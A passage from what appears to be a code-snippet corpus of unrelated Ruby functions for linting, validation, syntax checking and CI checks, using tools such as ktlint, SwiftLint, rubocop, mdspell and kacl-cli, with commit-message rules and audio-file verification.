end\n\n log \"Received from ktlint: #{issues}\"\n\n if filter_issues_in_diff\n # Filter issues related to changes in PR Diff\n issues = filter_git_diff_issues(issues)\n end\n\n if issues.empty?\n log \"ktlint - No issues found!!!\"\n return\n end\n\n if inline_mode\n send_inline_comments(issues)\n else\n send_markdown_comment(issues)\n # Fail danger on errors\n fail \"Failed due to ktLint errors\" if fail_on_error\n end\n end", "def pr_contains_code_changes\n files = danger_file.git.added_files + danger_file.git.modified_files\n\n !files.grep(/.swift/).empty?\n end", "def check_for_errors\n @errors += Tags.tag_errors(path)\n\n # Check for invalid filenames\n if (whitespace_led_component = Pathname(path).each_filename.to_a.find { |p| p.start_with?(/\\s+/) })\n @errors << \"path contains a file or directory name with leading whitespace: #{whitespace_led_component}\"\n end\n\n if (forbidden_substrings = FORBIDDEN_SUBSTRINGS.select { |fss| path.to_s.include?(fss) }).any?\n @errors << \"path contains invalid character(s): #{forbidden_substrings.join(\" \")}\"\n end\n\n if format == \"FLAC\"\n _stdout, stderr, status = Open3.capture3(\"flac -wt \\\"#{path}\\\"\")\n\n unless status.success?\n error_line = stderr.split(\"\\n\")\n .find { |line| line.include?(File.basename(path)) }\n\n @errors << if error_line\n \"failed flac verification test: #{error_line}\"\n else\n \"failed flac verification test\"\n end\n end\n end\n\n if (bit_depth && ![16, 24].include?(bit_depth))\n @errors << \"#{bit_depth} is an invalid bit depth\"\n elsif !bit_depth && format == \"FLAC\"\n @errors << \"unable to determine bit depth\"\n end\n\n if sample_rate.nil?\n @errors << \"unable to determine sample rate\"\n else\n case bit_depth\n when 16\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 16-bit lossless file\"\n end\n when 24\n unless [44_100, 88_200, 176_400, 352_800, 48_000, 96_000, 192_000, 384_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 24-bit lossless file\"\n end\n when nil # will happen for Lossy formats\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a lossy file format\"\n end\n end\n end\n\n @checked_for_errors = true\n\n @errors\n end", "def compile\n return if changed_ruby_files.empty?\n\n errors = changed_ruby_files.each_with_object([]) do |file, es|\n output = `ruby -cw \"#{file}\" 2>&1`\n next if output == \"Syntax OK\\n\"\n\n es << output\n end\n heading('Ruby Warnings', errors.join) unless errors.empty?\n end", "def validate\n @has_validated = true\n\n unless File.exist?(@commits_path)\n @errors.push(\"#{File.basename(@commits_path)}: does not exist\")\n end\n\n unless File.exist?(@data_path)\n @errors.push(\"#{File.basename(@data_path)}: does not exist\")\n end\n\n # Stop as further validations need to read the files.\n return if @errors.any?\n\n begin\n data_file.peek\n rescue StopIteration\n @errors.push(\"#{File.basename(@data_path)}: has no data to import\")\n return\n end\n\n DataValidator.call(self).each do |error|\n @errors.push(\"#{File.basename(@data_path)}: #{error}\")\n end\n\n CommitsValidator.call(self).each do |error|\n @errors.push(\"#{File.basename(@commits_path)}: #{error}\")\n end\n\n nil\n end", "def check_syntax options\n @options = options\n @reader = Reader::DSLReader.load(options.config_file)\n\n if @options.jslint? # if jslint option passed set from command line we have to add new rule with indicated dir\n rule = LanguageDefinition.new(:javascript, %w{js}, nil, [@options.jslint+\"*\", @options.jslint+\"**/*\"], nil, nil, nil, true, true)\n rule.exec_rule = Runner.javascript.call\n @reader.add_rule rule\n end\n\n @repository = Repository.factory(@options.root_path) if @options.repository?\n \n $stdmyout = StringIO.new\n checker = Checker.process(self)\n Printer.print_result checker\n \n exit(STATUS_FAIL) unless checker.error_files.empty? && $stdmyout.string.empty?\n STATUS_SUCCESS\n end", "def validate_pre_run!\n check_if_yml_present!\n check_if_yml_has_correct_content!\n check_if_rubocop_command_exists!\n end", "def check_requirements!\n return unless Command.up?\n\n matomo_js = File.join(@config.get('source'), 'piwik.js')\n\n error_source_missing(@config.get('source')) unless File.exist?(matomo_js)\n end", "def file_patterns_errors_for_spec(spec, file, platform_name)\n Dir.chdir(config.project_pods_root + spec.name ) do\n messages = []\n messages += check_spec_files_exists(spec, :source_files, platform_name, '*.{h,m,mm,c,cpp}')\n messages += check_spec_files_exists(spec, :resources, platform_name)\n messages << \"license[:file] = '#{spec.license[:file]}' -> did not match any file\" if spec.license[:file] && Pathname.pwd.glob(spec.license[:file]).empty?\n messages.compact\n end\n end", "def validate\n check_syntax\n end", "def run_lint()\n swiftlint.binary_path = './Pods/SwiftLint/swiftlint'\n swiftlint.verbose = true\n swiftlint.lint_all_files = false\n swiftlint.lint_files\nend", "def validate\n @errors = []\n methods.grep(/^validate_/).each { |m| method(m).call }\n @errors.each { |e| e.file = @file }\n valid?\n end", "def debugger_check(file_name)\n # File.extname method will grab the extension. If the extension is for a JS/CoffeeScript file, we want to do a check for debugger statements\n if File.extname(file_name) === '.js' || File.extname(file_name) === '.coffee'\n puts \"Checking for debugger statements left behind...\"\n\n # open each JS file and run through prompt\n File.open(file_name, 'r').each_with_index { |line, idx|\n # skip over file if the lines begin with a comment, single quote, or double quote\n next if line =~ /^$|\\\"|\\'|\\/|\\#/\n\n #if we find a debugger statement\n if line =~ /debugger/\n # give an opportunity for user to view the debugger statement for context\n print \" found debugger in #{file_name} would you like to see instance [y/n]: \"\n response = STDIN.gets.chomp.downcase\n case response\n when 'y'\n print file_name + \":#{idx+1} \"\n # if the instance is towards the beginning or end of file (so there are not 2 lines above or 2 lines below), then print just the single line\n if idx < 2 || idx > IO.readlines(file_name).size-2\n puts line\n else\n # print two lines and two lines below debugger statement\n puts IO.readlines(file_name)[idx-2..idx+2].join()\n end\n end\n\n # ask user if they want to automatically remove the debugger statement\n print \"> Remove this debugger statement? [y/n] Ctrl-c to exit and abort push at any time: \"\n response = STDIN.gets.chomp.downcase\n\n case response\n # if the user wants to automatically make a change, this block will open up the current file and sub 'debugger' or 'debugger;' with an empty string.\n # This does not currently remove the new line created by the debugger statement in the first place\n when 'y'\n newer_contents = File.read(file_name).gsub(/debugger;|debugger/, \"\")\n File.open(file_name, \"w\") {|file| file.puts newer_contents }\n puts 'replaced!'\n file_changes_made = true\n end\n end\n }\n end # end statement for JS/CoffeeScript extension conditional\nend", "def check_spelling(files = nil)\n # Installs my fork of the spell checker if needed\n # my fork has line numbers + indexes\n system \"npm install -g orta/node-markdown-spellcheck\" unless mdspell_installed?\n\n # Check that this is in the user's PATH after installing\n raise \"mdspell is not in the user's PATH, or it failed to install\" unless mdspell_installed?\n\n markdown_files = get_files files\n\n arguments = [\"-r\"]\n skip_words = ignored_words || []\n\n arguments.push(\"-n\") if ignore_numbers\n arguments.push(\"-a\") if ignore_acronyms\n arguments.push(\"--#{language}\")\n\n File.write(\".spelling\", skip_words.join(\"\\n\"))\n result_texts = Hash[markdown_files.to_a.uniq.collect { |md| [md, `mdspell #{md} #{arguments.join(\" \")}`.strip] }]\n spell_issues = result_texts.select { |path, output| output.include? \"spelling errors found\" }\n File.unlink(\".spelling\")\n\n # Get some metadata about the local setup\n current_slug = env.ci_source.repo_slug\n\n if spell_issues.count > 0\n message = \"### Spell Checker found issues\\n\\n\"\n spell_issues.each do |path, output|\n if defined? @dangerfile.github\n git_loc = \"/#{current_slug}/tree/#{github.branch_for_head}/#{path}\"\n elsif defined? @dangerfile.gitlab\n git_loc = \"/#{current_slug}/tree/#{gitlab.branch_for_head}/#{path}\"\n else\n raise \"This plugin does not yet support bitbucket, would love PRs: https://github.com/dbgrandi/danger-prose/\"\n end\n\n message << \"#### [#{path}](#{git_loc})\\n\\n\"\n\n message << \"Line | Typo |\\n\"\n message << \"| --- | ------ |\\n\"\n\n output.lines[1..-3].each do |line|\n index_info = line.strip.split(\"|\").first\n index_line, index = index_info.split(\":\").map { |n| n.to_i }\n\n file = File.read(path)\n\n unknown_word = file[index..-1].split(\" \").first\n\n error_text = line.strip.split(\"|\")[1..-1].join(\"|\").strip\n error = error_text.gsub(unknown_word, \"**\" + unknown_word + \"**\")\n\n message << \"#{index_line} | #{error} | \\n\"\n end\n markdown message\n end\n end\n end", "def all_files_included?\n file_paths = files.map { |f| File.join(package_path, f[:path]) }\n \n package_files = if defined? package_id\n Dir.glob(File.join(package_path, package_id, \"**\", \"*\"))\n else\n Dir.glob(File.join(package_path, 'files', '**', '*'))\n end\n package_files = package_files.select { |f| File.file? f }\n\n package_files.each do |p|\n errors.add :coverage, \"#{p} is in the package but is not covered by the\" +\n \" representation(s)\" unless file_paths.include?(p) \n end\n \n return errors.on(:coverage).nil?\n\n end", "def errors\n if missing.empty?\n return RipperErrors.new(@code_lines.map(&:original).join).call.errors\n end\n\n missing.map { |miss| why(miss) }\n end", "def lint\n\n data = nil\n\n if @log_file != nil\n if @is_fastlane_report\n require 'nokogiri'\n @doc = Nokogiri::XML(File.open(@log_file))\n data = @doc.at_xpath('//testcase[contains(@name, \"pod_lib_lint\")]/failure/@message').to_s\n else\n data = File.open(@log_file, 'r').read\n end\n else\n podliblint_command = \"pod lib lint\"\n podliblint_command += \" #{@options}\" if @options\n\n require 'cocoapods'\n data = `#{podliblint_command}`\n end\n\n # Looking for something like:\n # [!] MyProject did not pass validation, due to 1 error and 1 warning.\n lint_summary = data[/(?<=\\[!\\]\\s).*(did not pass validation|Unable to find a podspec|specification does not validate).*/i]\n\n if lint_summary\n fail(\"Pod lib lint: #{lint_summary} 🚨\")\n failures = data.scan(/(?<=ERROR\\s\\|\\s).*/i)\n failures.each do |failure|\n fail(\"`\" << ((failure.to_s.strip! || failure).to_s.gsub!(/`/,\"\") || failure).to_s << \"`\")\n end\n else\n message(\"Pod lib lint passed validation 🎊\")\n end\n\n return failures\n end", "def processJS ( &compile )\n reporter = Jshintrb::Reporter::Default.new\n\n # Executes JSHint on a file and returns its content\n def jsHint ( file )\n puts \"JSHinting #{file}\"\n errors = Jshintrb.lint( File.read(file) )\n if errors.length > 0\n puts\n errors.map do |err|\n puts (\" line %d, column %d: %s\\n\" +\n \" %s\\n\" +\n \" %s^\\n\") % [\n err['line'], err['character'], err['reason'],\n err['evidence'],\n \"~\" * (err['character'] - 1)\n ]\n end\n fail \"JSHint failed\"\n end\n\n File.read(file)\n end\n\n # Compiles a typescript file\n def compileTS ( file )\n puts \"Compiling #{file}\"\n result = TypeScript::Node.compile_file( file )\n fail result.stderr if result.exit_status != 0\n result.js\n end\n\n puts \"Compiling JavaScript...\"\n Dir.glob('js/**/*').map do |file|\n next unless File.file?( file )\n\n compileTo = \"target/resources/#{file.chomp(File.extname(file))}.js\"\n FileUtils.mkpath( File.dirname(compileTo) )\n\n if ( File.extname(file) == \".ts\" )\n next if File.basename(file).start_with?(\"_\")\n content = compileTS( file )\n else\n content = jsHint( file )\n end\n\n puts \" Compiling to #{compileTo}\"\n\n File.open(compileTo, 'w') do |out|\n out.write( compile.call( content ) )\n end\n end\nend", "def validate(file, ext)\n puts \"Validating #{file}...\"\n\n if ext == '.html'\n results = W3CValidators::NuValidator.new.validate_file(file)\n elsif ext == '.css'\n results = W3CValidators::CSSValidator.new.validate_file(file)\n end\n\n return puts \"#{file} is valid!\" if results.errors.empty?\n\n results.errors.each { |err| puts err.to_s }\nend", "def lint(*args); end", "def check_format_rules(line_number, line)\n errors = []\n unless line_number > 0\n conventions = ['feat', 'fix', 'build', 'chore', 'ci', 'docs', 'style', 'refactor', 'perf', 'test']\n conventional_commit_conventions = conventions.map{|x| Regexp.new '(^' + x + ')' + '(\\(.*\\))?!?: [\\w+\\D\\-\\d+]'}\n conventional_commit_check = conventional_commit_conventions.map{|x| line.match(x)}.compact\n if conventional_commit_check.empty?\n unless line.include?('HOTFIX')\n errors << \"\\tError: Your custom commit doesn't seem like following conventional commit rules.\"\n errors << \"\\tCheck https://www.conventionalcommits.org\"\n end\n end\n errors << \"\\tError: Your subject contains #{line.split(':')[1].length} characters. Subject should be less than 50 characters\" if line.split(']')[1]&.length.to_i > 50\n errors << \"\\tError: Commit message subject should start in Capital.\" if line.split(']')[1] && line.split(']')[1].lstrip[0] == line.split(']')[1].lstrip[0].downcase\n end\n return errors\nend", "def validate_file(file)\n status =\n POpen4::popen4(\"java -cp '#{@validator_path}' nu.validator.htmlparser.tools.HTML2HTML #{file.path}\") do |stdout, stderr|\n stdout.read\n @errors, @warnings = parse_error_output(stderr.read)\n end\n @errors = [\"Cannot run Java HTML5 validator #{@validator_path}: #{status.inspect}\"] unless status.exitstatus == 0\n end", "def file_checks\n errors = []\n errors << 'There are no entries in the manifest file.' if @current_package.manifest.count == 0\n errors\n end", "def lint\n lint_results\n .reject { |r| r.nil? || r['messages'].length.zero? }\n .reject { |r| r['messages'].first['message'].include? 'matching ignore pattern' }\n .map { |r| send_comment r }\n end", "def functionals_changed(test_changed_files, t)\n changed_controllers = []\n changed_functional_tests = []\n changed_view_directories = Set.new\n test_changed_files.each do |file|\n controller_match = file.match(/app\\/controllers\\/(.*).rb/)\n if controller_match\n changed_controllers << controller_match[1]\n end\n\n view_match = file.match(/app\\/views\\/(.*)\\/.+\\.erb/)\n if view_match\n changed_view_directories << view_match[1]\n end\n\n functional_test_match = file.match(/test\\/functional\\/(.*).rb/)\n if functional_test_match\n changed_functional_tests << functional_test_match[1]\n end\n end\n\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| changed_controllers.any?{|controller| file.match(/test\\/functional\\/#{controller}_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file| changed_view_directories.any?{|view_directory| file.match(/test\\/functional\\/#{view_directory}_controller_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file|\n (changed_functional_tests.any?{|functional_test| file.match(/test\\/functional\\/#{functional_test}.rb/) } ||\n test_changed_files.any?{|changed_file| file==changed_file })\n }\n\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def cleancode(arg, file, level, type)\n ['errors', 'warnings', 'compiled_code'].each do |x|\n str = JSCompiler.compile(arg, file, x, level, type)\n return str unless str.eql?(\"No \" + x)\n end\n end", "def check_conventions\n\tcheck_encoding\n\tcheck_yaml\n\tcheck_merge\n\tcheck_cucumber\n\tcheck_ruby\nend", "def checks\n @chekkufile = options[:chekkufile]\n verify_chekku_file_existence\n check_dependencies\n end", "def lint(dir)\n files = dir.children.select(&:file?)\n no_junk?(files)\n return true if supported(files).empty?\n\n correctly_named?(dir)\n all_same_filetype?(files)\n expected_files?(files)\n sequential_files?(files)\n cover_art?(files)\n cover_art_looks_ok?(arty(files))\n tags = all_tags(files)\n all_same_album?(tags)\n all_same_genre?(tags)\n all_same_year?(tags)\n all_same_artist?(tags) unless various_artists?(dir)\n rescue Aur::Exception::LintDirBadName\n err(dir, 'Invalid directory name')\n rescue Aur::Exception::LintDirBadFile => e\n err(dir, \"Bad file(s)\\n #{e}\")\n rescue Aur::Exception::LintDirMixedFiles\n err(dir, 'Different file types')\n rescue Aur::Exception::LintDirBadFileCount => e\n err(dir, \"Missing file(s) (#{e})\")\n rescue Aur::Exception::LintDirUnsequencedFile => e\n err(dir, \"Missing track #{e}\")\n rescue Aur::Exception::LintDirCoverArtMissing\n err(dir, 'Missing cover art')\n rescue Aur::Exception::LintDirCoverArtUnwanted\n err(dir, 'Unwanted cover art')\n rescue Aur::Exception::LintDirInconsistentTags => e\n err(dir, \"Inconsistent #{e} tag\")\n rescue Aur::Exception::LintDirCoverArtTooBig,\n Aur::Exception::LintDirCoverArtTooSmall,\n Aur::Exception::LintDirCoverArtNotSquare => e\n err(dir, \"Unsuitable image size: #{e}\")\n rescue StandardError => e\n warn \"Unhandled exception #{e} in #{dir}\"\n end", "def dev_format(errors = @output[:raw_data])\n return if errors.blank?\n\n pretty_output = ''\n errors.each do |filename, error_list|\n filename = strip_working_dir(filename)\n pretty_output << \"\\n#{filename.color(:cyan).underline} \\n\"\n error_list.each do |message|\n pretty_output << severity_color(message['severity'])\n pretty_output << \" #{message['line'].to_s.color(:blue)} #{message['linter'].color(:green)}: #{message['reason']} \\n\"\n end\n end\n pretty_output << \"-----\\n\\n\"\n pretty_output\n end", "def rbenchmarker_validation_check(options)\n raise Rbenchmarker::TargetFilePathError if options[:all] && !options[:all].is_a?(String)\n raise Rbenchmarker::TargetFilePathError if options[:all] && !File.file?(options[:all])\n raise Rbenchmarker::OnlyMethodDesignationError if options[:only] && !options[:only].is_a?(Array)\n raise Rbenchmarker::OnlyMethodDesignationError if options[:only] && !options[:only].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::ExceptMethodDesignationError if options[:except] && !options[:except].is_a?(Array)\n raise Rbenchmarker::ExceptMethodDesignationError if options[:except] && !options[:except].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::AddedMethodDesignationError if options[:added] && !options[:added].is_a?(Array)\n raise Rbenchmarker::AddedMethodDesignationError if options[:added] && !options[:added].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::PrependModuleDesignationError if options[:prepend] && !options[:prepend].is_a?(Array)\n raise Rbenchmarker::PrependModuleDesignationError if options[:prepend] && !options[:prepend].all? do |obj|\n obj.class.to_s == 'Module'\n end\n raise Rbenchmarker::IncludeModuleDesignationError if options[:include] && !options[:include].is_a?(Array)\n raise Rbenchmarker::IncludeModuleDesignationError if options[:include] && !options[:include].all? do |obj|\n obj.class.to_s == 'Module'\n end\n raise Rbenchmarker::ExtendModuleDesignationError if options[:extend] && !options[:extend].is_a?(Array)\n raise Rbenchmarker::ExtendModuleDesignationError if options[:extend] && !options[:extend].all? do |obj|\n obj.class.to_s == 'Module'\n end\n end", "def check_errors;\n end", "def validate_file_list_contents\n keys = self.original_file_list.map(&:keys).flatten.uniq.sort\n unless (keys & FILE_LIST_KEYS) == keys\n errors.add(:original_file_list, \" is formatted incorrectly. This must be an array of Hashes with the keys #{FILE_LIST_KEYS.join(', ')}.\" )\n end\n self.original_file_list.each do |file|\n unless StudyFile::STUDY_FILE_TYPES.include?(file['file_type'])\n errors.add(:original_file_list, \" contains a file of an invalid type: #{file['file_type']}\")\n end\n end\n unless match_bundle_type.any?\n errors.add(:original_file_list, \" does not contain a file of the specified bundle type: #{self.bundle_type}\")\n end\n if match_bundle_type.size > 1\n errors.add(:original_file_types, \" contains files of incompatible types: #{match_bundle_type.join(', ')}\")\n end\n end", "def check_files_array_format\n error_msg = 'has invalid entries. Each entry must be a hash with the keys of name (String), size (Integer), and '\\\n 'generation (String). The following entries are invalid: '\n has_error = false\n self.files.each do |file|\n unless file.keys.map(&:to_s).sort == %w(generation name size)\n error_msg += \"#{file}\"\n end\n end\n if has_error\n errors.add(:files, error_msg)\n end\n end", "def validate\n # Installs a kacl-cli checker if needed\n system \"pip3 install --user python-kacl\" unless kacl_cli_installed?\n\n # Check that this is in the user's PATH after installing\n raise \"kacl-cli is not in the user's PATH, or it failed to install\" unless kacl_cli_installed?\n\n if changelog.nil?\n system \"kacl-cli verify --json > #{report}\"\n else\n system \"kacl-cli -f #{changelog} verify --json > #{report}\"\n end\n valid = kacl_report[\"valid\"]\n if !valid\n errors = kacl_report[\"errors\"]\n errors.each do |e|\n start_char_pos = 0\n if e.key?(\"start_char_pos\") && !e[\"start_char_pos\"].nil?\n start_char_pos = e[\"start_char_pos\"]\n end\n fail \"CHANGELOG:#{e['line_number']}:#{start_char_pos} error: #{e['error_message']}\"\n end\n end\n end", "def compile_js_files(file, prod=true)\n\t# use development style options for now, even in production\n\tif prod\n\t\toptions = {:output => {:comments => :none }}\n\t\tFile.open(file, \"w\") { |f| f.write(Uglifier.compile(concat_js_files, options)) }\n\telse\n\t\t#options = {:output => {:comments => :all, :beautify => true, :preserve_line => true}}\n\t\tFile.open(file, \"w\") { |f| f.write(concat_js_files) }\n\tend\n\n\tputs \" \\e[32mwrite #{file}\\e[0m\"\nend", "def lint(options, additional_swiftlint_args)\n run('lint', additional_swiftlint_args, options)\n end", "def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend", "def check_syntax(dirpath, dir = nil, type)\n files = Dir.glob(\"#{dirpath}\").select { |f| File.file?(f) }\n files.each do |file|\n fname = Pathname.new(file).basename\n if (\"#{fname}\".end_with?('.json'))\n ui.msg(\"Testing file #{file}\")\n json = File.new(file, 'r')\n parser = Yajl::Parser.new\n hash = parser.parse(json)\n elsif(\"#{fname}\".end_with?('.rb'))\n ui.msg(\"Testing file #{file}\")\n system(\"ruby -c #{file}\") or raise \"Syntax check of #{file} failed!\"\n end\n end\n end", "def check_source(code)\n check_parse_tree(Checker.parse_tree_for(code))\n end", "def check_for_file_edits(committed_files)\n check_for_changes = `git ls-files --modified`\n\n if check_for_changes.each_line { |line|\n # if the user modified any files while executing this hook, then ask for a re-commit and abort the user push\n if committed_files.include?(line.rstrip())\n puts \"**File have been edited. Please stage/re-commit your changes and push again**\"\n exit(1)\n end\n }\n else\n exit(0)\n end\nend", "def relevant_output(lint, files)\n all_files = {}\n files.each do |file|\n\n # sometimes data will be blank but this is good - it means no errors were raised in the lint\n next if lint.blank? || file.blank? || !file.is_a?(Hash) || !file.key?(:filename)\n lint_file = lint[file[:filename]]\n\n next if lint_file.blank?\n\n expanded = lines_added_to_range(file)\n revert_name = strip_working_dir(file[:filename])\n\n all_files[revert_name] = []\n\n lint_file.each do |l|\n if expanded.include?(l['line'].to_i)\n all_files[revert_name] << l\n end\n end\n\n # If there's nothing there, then it definitely isn't a relevant lint\n all_files.delete(revert_name) if all_files[revert_name].blank?\n end\n @output[:files_linted] = all_files.keys\n all_files\n end", "def authorize_changes(changed_paths)\n \n ret=nil\n bad_paths=[/\\/target\\//, /\\/lib\\//] # move this to config file\n @logger.debug(\"InvalidFileChecker authorize_changes \" << changed_paths.to_s)\n changed_paths.each do |path|\n if /A|U/=~path[0,1] or /A|U/=~path[1,2]\n bad_paths.each do |bad_path|\n if (bad_path=~path) and not (/buildtools\\/lib/=~path) and not (/ant\\/lib/=~path)\n ret=\"Such directories or files under are not allowed to be checked in. \" << path\n break\n end\n end\n end\n break if ret\n end\n ret\n end", "def add_errors(_errors)\n _errors.sort { |a,b|\n a_attrs = [a.location[:filename], a.location[:line]].compact\n b_attrs = [b.location[:filename], b.location[:line]].compact\n a_attrs <=> b_attrs\n }.each do |e|\n self.add_error(e)\n end\n end", "def test_should_be_syntax_error\n \n dir = \"./test_case/syntax_error.rb\"\n filename = dir\n \n result = check_and_compile_file( dir , filename )\n \n assert_equal(false, result)\n \n end", "def validate\n puts \"Validating #{self.filename}...\"\n output = `puppet parser validate #{self.filename} 2>&1`\n if $?.exitstatus != 0\n @@invalid_files << { filename: self.filename, error: output }\n end\n end", "def check_errors;\n end", "def check_file_presence\n spec.icons.values.each do |path|\n fail_if_not_exist \"Icon\", path\n end\n\n if spec.browser_action\n fail_if_not_exist \"Browser action popup\", spec.browser_action.popup\n fail_if_not_exist \"Browser action icon\", spec.browser_action.icon\n end\n\n if spec.page_action\n fail_if_not_exist \"Page action popup\", spec.page_action.popup\n fail_if_not_exist \"Page action icon\", spec.page_action.icon\n end\n\n if spec.packaged_app\n fail_if_not_exist \"App launch page\", spec.packaged_app.page\n end\n\n spec.content_scripts.each do |content_script|\n content_script.javascripts.each do |script_path|\n fail_if_not_exist \"Content script javascript\", script_path\n end\n content_script.stylesheets.each do |style_path|\n fail_if_not_exist \"Content script style\", style_path\n end\n end\n\n spec.background_scripts.each do |script_path|\n fail_if_not_exist \"Background script style\", script_path\n end\n\n fail_if_not_exist \"Background page\", spec.background_page\n fail_if_not_exist \"Options page\", spec.options_page\n\n spec.web_intents.each do |web_intent|\n fail_if_not_exist \"Web intent href\", web_intent.href\n end\n\n spec.nacl_modules.each do |nacl_module|\n fail_if_not_exist \"NaCl module\", nacl_module.path\n end\n\n spec.web_accessible_resources.each do |path|\n fail_if_not_exist \"Web accessible resource\", path\n end\n end", "def check_files\n @files.each do |f|\n stat = File.stat f rescue next\n raise RDoc::Error, \"file '#{f}' not readable\" unless stat.readable?\n end\n end", "def check_file(filename)\n # set output format to 'simple' (easier to parse) and\n # include rubocop configuration file\n rubocop_res = `rubocop -f simple -c #{@options[:config]} #{filename}`\n results = parse_rubocop_output(rubocop_res)\n unless (results[:C].empty? &&\n results[:E].empty? &&\n results[:F].empty? &&\n results[:W].empty?) ||\n @options[:quiet]\n puts\n @options[:jenkins] ?\n puts(\"=== #{filename} ===\") :\n puts(\"=== #{filename} ===\".bold)\n print_offenses(results)\n end\n # Report results in a json file\n report_results(filename, results, 'coding_style') if @options[:report]\n # Return code\n (results[:C].empty? && results[:E].empty? && results[:F].empty?) ? 0 : 1\n end", "def lint(inline_mode: false)\n unless skip_gradle_task\n return fail(\"Could not find `gradlew` inside current directory\") unless gradlew_exists?\n end\n\n unless skip_gradle_task\n if use_staged_file_only\n targets = target_files(git.added_files + git.modified_files)\n system \"./gradlew #{gradle_task} -PinternalKtlintGitFilter=\\\"#{targets.join('\\n')}\\\"\" #todo make it work\n else\n system \"./gradlew #{gradle_task}\"\n end\n end\n\n json_files = report_file.split(',')\n results = []\n json_files.each do |jsonFile|\n unless File.exists?(jsonFile)\n next\n end\n results += JSON.parse(File.read(jsonFile))\n end\n if results.empty?\n print(\"Skipping ktlinting because no report files available\")\n end\n\n if inline_mode\n send_inline_comments(results)\n else\n send_markdown_comment(results)\n end\n end", "def reek\n return if changed_ruby_files.empty?\n\n output = `reek --color #{changed_files.join(' ')}`\n return if output&.empty? || output.gsub(/\\e\\[(\\d+)m/, '').match?(/^0 total warnings/)\n\n heading('Reek', output)\n end", "def finished_file(file, lints)\n super\n\n if lints.any?\n lints.each do |lint|\n linters_with_lints[lint.linter.name] |= [lint.filename]\n linters_lint_count[lint.linter.name] += 1\n end\n end\n end", "def check_encoding\n\tall_encoding = []\n\tfiles = Dir.glob(\"**/*.rb\") + Dir.glob(\"**/*.yml\") + Dir.glob(\"**/*.feature\")\n\tfiles.each do |file|\n\t\tall_encoding.push(File.open(file).map { |line| line.to_s.encoding })\n\tend\n\n\tnb = all_encoding.flatten.count { |encoding| encoding.name != 'UTF-8' }\n\tif nb > 0\n\t\tputs \"Error encoding file\"\n\t\t$errors = true\n\tend\nend", "def check_format_rules(line_number, line)\n conventional_commit_conventions = [ 'feat(.*): ', 'fix(.*): ', 'chore(.*): ', 'install(.*): ', 'improvement(.*): ', 'ci(.*): ', 'ui(.*): ', 'style(.*): ' ] \n conventional_commit_check = conventional_commit_conventions.map{|x| line.match(x)}.compact\n errors = []\n if conventional_commit_check.empty?\n unless line.include?('HOTFIX')\n return errors << \"Error : Your commit message seems like not following conventional commit rules, please check your commit's convention\"\n end\n end\n errors << \"Error : Your commit message contains #{line.length} characters. Commit message should be less than 72 characters in length.\" if line.length > 72\n errors << \"Error : Your subject contains #{line.split(':')[1].length} characters. Subject should be less than 50 characters\" if line.split(':')[1].length > 50\n errors << \"Error : Commit message subject should start in Capital.\" if line.split(':')[1].lstrip[0] == line.split(':')[1].lstrip[0].downcase\n return errors\nend", "def test_ut_diff_source_code_02\n assert_equal(1,@diff_source_code_1.diff_result_id)\n assert_equal(1,@diff_source_code_1.original_file_id)\n assert_equal(1,@diff_source_code_1.diff_file_id)\n assert_equal(nil,@diff_source_code_1.added_lines)\n assert_equal(\"7;8;9;25;390;396;397;400;404\",@diff_source_code_1.deleted_lines)\n assert_equal(\"1,1;2,2;3,3;4,4;6,6;10,10;11,11;12,12;13,13;14,14;15,15;\",@diff_source_code_1.common_lines)\n end", "def main\n num_errors = 0\n # { <dictionary filename>: [<glob>, ..., <glob>], ... }\n locale_globs = {\n 'en_US': [\n 'config/locales/*.eng.yml',\n 'config/locales/eng.yml'\n ]\n # Disable spellcheck for French and Spanish until we are able to put back special characters\n # 'es_PR': [\n # 'config/locales/spa-pr.yml',\n # 'config/locales/spa.yml'\n # ],\n # 'fr_FR': [\n # 'config/locales/fra.yml'\n # ]\n }\n locale_globs.each do |dict_name, glob|\n Dir.glob(glob).each do|filepath|\n puts \"CHECKING LOCALE: #{filepath} with dictionary #{dict_name}\"\n num_errors += check_locale(dict_name, filepath)\n puts \"\\n\\n\"\n end\n end\n puts \"Found #{num_errors} errors when checking all locale files\"\n exit(1) if num_errors > 0\n end", "def find_swift_files(files=nil, excluded_files=[])\n # Assign files to lint\n files = files ? Dir.glob(files) : (git.modified_files - git.deleted_files) + git.added_files\n\n # Filter files to lint\n return files.\n # Ensure only swift files are selected\n select { |file| file.end_with?('.swift') }.\n # Make sure we don't fail when paths have spaces\n map { |file| Shellwords.escape(file) }.\n # Remove dups\n uniq.\n map { |file| File.expand_path(file) }.\n # Reject files excluded on configuration\n reject { |file|\n excluded_files.any? { |excluded| Find.find(excluded).include?(file) }\n }\n end", "def validate!\n validate_name\n validate_version\n validate_icons\n validate_description\n\n check_for_browser_ui_collisions\n\n check_file_presence if @out\n\n @warnings.empty? && @errors.empty?\n end", "def check_extnames\r\n errors = []\r\n file_order.each do |f|\r\n self.ext = File.extname(f) if ext.nil?\r\n next if File.extname(f) == ext\r\n\r\n # Multiple extensions\r\n errors << File.basename(f)\r\n end\r\n\r\n errors\r\n end", "def validate_input_files\n file_validation = FileValidation.new(input_files)\n raise_error(file_validation.errors) unless file_validation.files_exist? \n raise_error(file_validation.errors) unless file_validation.files_are_ascii?\n true\n end", "def ensure_linter_section_exists\n @hash['linters'] ||= {}\n end", "def inspect\n errors = 0\n chars_array.each_with_index do |chars, index|\n chars_index = index + 1\n\n errors 